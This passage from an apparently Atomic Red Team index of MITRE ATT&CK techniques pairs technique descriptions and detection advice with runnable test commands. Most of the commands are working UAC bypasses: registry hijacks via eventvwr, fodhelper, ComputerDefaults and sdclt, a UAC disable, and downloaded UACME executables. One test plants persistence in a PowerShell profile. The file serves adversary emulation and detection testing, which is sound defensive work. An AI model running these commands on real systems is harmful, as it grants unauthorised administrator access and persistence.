]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3 created: '2020-01-24T15:11:02.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/013 external_id: T1546.013 - source_name: Wits End and Shady PowerShell Profiles description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.' url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html - source_name: ESET Turla PowerShell May 2019 description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ - source_name: Malware Archaeology PowerShell Cheat Sheet description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - source_name: Microsoft About Profiles description: Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 - source_name: Microsoft Profiles description: Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022. url: https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.013 atomic_tests: - name: Append malicious start-process cmdlet auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896' description: 'Appends a start process cmdlet to the current user''s powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched. ' supported_platforms: - windows input_arguments: exe_path: description: Path the malicious executable type: path default: calc.exe ps_profile: description: Powershell profile to use type: string default: "$profile" dependency_executor_name: powershell dependencies: - description: 'Ensure a powershell profile exists for the current user ' prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1} ' get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force ' executor: command: | Add-Content #{ps_profile} -Value "" Add-Content #{ps_profile} -Value "Start-Process #{exe_path}" powershell -Command exit cleanup_command: | $oldprofile = cat $profile | Select-Object -skiplast 1 Set-Content $profile -Value $oldprofile name: powershell T1543: technique: modified: '2024-02-15T14:14:03.942Z' name: Create or Modify System Process description: "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'Service: Service Creation' - 'Container: Container Creation' - 'Driver: Driver Load' - 'Service: Service Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5 created: '2020-01-10T16:03:18.865Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543 external_id: T1543 - source_name: AppleDocs Launch Agent Daemons description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: TechNet Services description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: OSX Malware Detection description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.006: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847 created: '2020-01-24T14:21:52.750Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.006 url: https://attack.mitre.org/techniques/T1546/006 - source_name: Malware Persistence on OS X url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. - source_name: Writing Bad Malware for OSX url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: LC_LOAD_DYLIB Addition x_mitre_detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Metadata' - 'Process: Process Creation' - 'File: File Modification' - 'Module: Module Load' x_mitre_permissions_required: - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1053.007: technique: modified: '2023-05-09T14:00:00.188Z' name: Kubernetes Cronjob description: |- Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Center for Threat-Informed Defense (CTID) - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'File: File Creation' - 'Container: Container Creation' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096 created: '2021-03-29T17:06:22.247Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/007 external_id: T1053.007 - source_name: Kubernetes CronJob description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ - source_name: Kubernetes Jobs description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/job/ - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.007 atomic_tests: - name: ListCronjobs auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl get cronjobs -n #{namespace} ' name: bash elevation_required: false - name: CreateCronjob auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} ' name: bash elevation_required: false T1548.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Abuse Elevation Control Mechanism: Bypass User Account Control' description: |- Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: * eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak - Casey Smith x_mitre_deprecated: false x_mitre_detection: |- There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass) * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) Analysts should monitor these Registry settings for unauthorized changes. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: Process Metadata' x_mitre_defense_bypassed: - Windows User Account Control x_mitre_effective_permissions: - Administrator x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073 created: '2020-01-30T14:24:34.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/002 external_id: T1548.002 - source_name: Davidson Windows description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - source_name: SANS UAC Bypass description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - source_name: MSDN COM Elevation description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - source_name: enigma0x3 Fileless UAC Bypass description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - source_name: enigma0x3 sdclt app paths description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - source_name: enigma0x3 sdclt bypass description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - source_name: TechNet Inside UAC description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - source_name: Github UACMe description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. url: https://github.com/hfiref0x/UACME object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1548.002 atomic_tests: - name: Bypass UAC using Event Viewer (cmd) auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9 description: "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n" supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f cmd.exe /c eventvwr.msc cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1 ' name: command_prompt - name: Bypass UAC using Event Viewer (PowerShell) auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b description: | PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privalages supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\eventvwr.msc" cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore ' name: powershell - name: Bypass UAC using Fodhelper auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182 description: | Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened. supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f fodhelper.exe cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1 ' name: command_prompt - name: Bypass UAC using Fodhelper - PowerShell auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa description: | PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened. supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\fodhelper.exe" cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore ' name: powershell - name: Bypass UAC using ComputerDefaults (PowerShell) auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f description: | PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\ComputerDefaults.exe" cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore ' name: powershell - name: Bypass UAC by Mocking Trusted Directories auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1 description: | Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | mkdir "\\?\C:\Windows \System32\" copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe" mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe" cleanup_command: | rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul name: command_prompt elevation_required: true - name: Bypass UAC using sdclt DelegateExecute auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7 description: | Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass) Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1) supported_platforms: - windows input_arguments: command_to_execute: description: Command to execute type: string default: cmd.exe /c notepad.exe executor: command: | New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}' New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" Start-Process -FilePath $env:windir\system32\sdclt.exe Start-Sleep -s 3 cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore ' name: powershell - name: Disable UAC using reg.exe auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9 description: | Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0 supported_platforms: - windows executor: command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f ' cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f ' name: command_prompt elevation_required: true - name: Bypass UAC using SilentCleanup task auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608 description: | Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/ There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level). For example, we can set the windir registry kye to: "cmd /k REM " And forcefully run SilentCleanup task: schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs. supported_platforms: - windows input_arguments: file_path: description: Path to the bat file type: string default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat executor: command: '"#{file_path}" ' name: command_prompt elevation_required: false - name: UACME Bypass Method 23 auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\23 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 31 auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\31 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 33 auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\33 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive 